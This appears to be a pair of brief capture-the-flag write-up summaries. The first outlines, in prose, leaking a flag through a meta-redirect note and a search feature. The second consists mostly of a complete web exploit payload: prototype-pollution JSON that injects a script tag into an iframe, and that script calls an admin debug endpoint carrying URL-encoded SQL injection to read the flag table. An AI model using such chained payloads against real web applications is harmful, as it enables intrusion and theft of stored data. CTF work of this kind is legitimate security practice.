tl;dr

• Create a note with meta redirect tag to get callback.
• Leak the flag using search functionality.

tl;dr

• Payload: {"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<script src='/admin/debug/add_widget?panelid=star7rix&widgetname=test123&widgetdata=%27%29%2C%28%27star7rix%27%2C+%28select+flag+from+flag%29%2C+%27%7B%22type%22%3A%22test123%22%7D%27%29+--'></script>\"}}"}